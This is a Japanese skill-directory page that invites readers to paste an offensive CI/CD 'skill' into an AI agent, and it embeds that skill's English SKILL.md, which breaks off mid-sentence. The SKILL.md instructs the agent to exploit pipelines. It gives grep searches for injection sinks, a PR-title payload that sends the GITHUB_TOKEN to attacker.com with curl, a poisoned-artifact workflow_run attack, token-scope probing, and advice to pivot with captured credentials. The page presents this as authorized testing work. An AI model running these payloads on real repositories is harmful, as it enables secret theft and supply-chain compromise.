offensive-cicd-pipeline
できること
このスキルは、許可を得た評価でCI/CDパイプラインをテストする方法論です。GitHub Actionsのインジェクション、Jenkinsの攻撃経路、ビルドシステムのサプライチェーンのリスクを扱います。ビルドのパイプラインが悪用されうる方法を確認するセキュリティの専門家向けです。
使う場面
- ✓許可を得た評価で、GitHub Actionsのワークフローのインジェクションのリスクをテストしているとき。
- ✓署名された許可のあるテストで、Jenkinsサーバーの危険なスクリプトや認証情報の露出を確認したいとき。
- ✓サプライチェーンのリスクのため、パイプラインのトークンの範囲やトリガーのイベントを確認する必要があるとき。
スキルのリンク
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/cicd/offensive-cicd-pipeline/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“CIパイプラインをテストする許可があります。GitHub Actionsのワークフローにインジェクションのリスクがないか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
このスキルは、パイプラインの設定を一覧にし、攻撃者が制御しうるイベントと入力を特定して、トークンの範囲を地図にします。そして、テストするアクセスレベルに合ったテストの方法を選びます。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Offensive CI/CD Pipeline Exploitation
CI/CD pipelines represent one of the highest-value targets in modern infrastructure. A compromised pipeline grants code execution in trusted contexts, access to deployment credentials, and the ability to inject malicious code into production artifacts. You exploit the implicit trust that organizations place in their build systems -- pipelines run code with elevated privileges, hold secrets for deployment, and operate with minimal monitoring compared to production systems.
This skill covers exploitation across the four dominant CI/CD platforms. You enumerate pipeline configurations, identify injection points, escalate from contributor-level access to arbitrary code execution, and leverage pipeline trust to move laterally through environments.
MITRE ATT&CK: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)
Quick Workflow
- Enumerate accessible repositories and their pipeline configurations (.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml).
- Identify the trigger model -- which events execute pipelines, and which contexts carry attacker-controlled input.
- Map token scopes and available secrets for each pipeline context.
- Select the injection vector matching your access level (contributor, external PR, authenticated user).
- Craft the payload for the target platform's expression language or script engine.
- Execute and capture output -- secrets, tokens, or artifact modification.
- Pivot using captured credentials to expand access to other pipelines, registries, or infrastructure.
GitHub Actions Expression Injection
GitHub Actions evaluates expressions in ${{ }} contexts. When attacker-controlled data flows into
these expressions without sanitization, you achieve arbitrary command injection in the runner context.
The most common injection surfaces are PR titles, issue bodies, branch names, and commit messages
that flow into run: steps or action inputs.
Identify vulnerable workflows by searching for direct interpolation of event data:
# Search for expression injection sinks in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/
A vulnerable workflow looks like this:
# Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "Thanks for PR: ${{ github.event.pull_request.title }}"
You inject through the PR title:
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #
For workflow_run abuse, a workflow triggered by workflow_run runs in the context of the default
branch but can access artifacts from the triggering workflow. You upload a poisoned artifact from a
PR workflow, then the workflow_run workflow processes it with elevated privileges:
# Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4
with:
name: pr-data
path: payload.sh
# The workflow_run handler in the default branch processes artifacts unsafely
on:
workflow_run:
workflows: ["PR Build"]
types: [completed]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
- run: bash pr-data/payload.sh # Executes attacker's code with write access
Enumerate GITHUB_TOKEN permissions to understand your execution scope:
# Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'
# Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main
Composite action supply chain attacks target reusable actions referenced without SHA pinning:
# Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1
# Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
Use gato to enumerate a
よくある質問
どのCI/CDプラットフォームを扱いますか?
GitHub Actions、Jenkins、GitLab、Azureを含む、主要なパイプラインを扱います。
トークンの過剰な範囲とは何ですか?
パイプラインのトークンが、ジョブに必要な以上の権限を持つことで、このスキルはそれを確認します。
許可を得たテストのためのものですか?
はい。このスキルは、書面による許可のある評価のために書かれています。
詳細
作者による元の説明
Comprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline ag
repo: SnailSploit/Claude-Red
人気
- GitHubのスター
- 10k
- ランキング
- #11948
- ライセンス
- MIT
- 更新日
- 2026/10/12
コメント
- …
このリポジトリの他のスキル
offensive-active-directory
10kエージェントが、ネットワークの地図作成から Domain Adminへの攻撃経路の発見まで、許可を得た Active Directoryのセキュリティテストを計画できるよう支援します。
offensive-netexec
10kエージェントが、許可を得たネットワークのテストで、NetExec(nxc)ツールを使えるよう支援します。プロトコル、認証、認証情報の確認を扱います。
offensive-api-abuse
10kエージェントが、ビジネスロジックの悪用、GraphQLのリスク、競合状態を探す、許可を得たAPIのセキュリティテストを計画できるよう支援します。
offensive-api-security
10kエージェントが、OWASP API Top 10に基づき、REST、gRPC、WebSocketのAPIに対して許可を得たセキュリティテストを行えるよう支援します。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。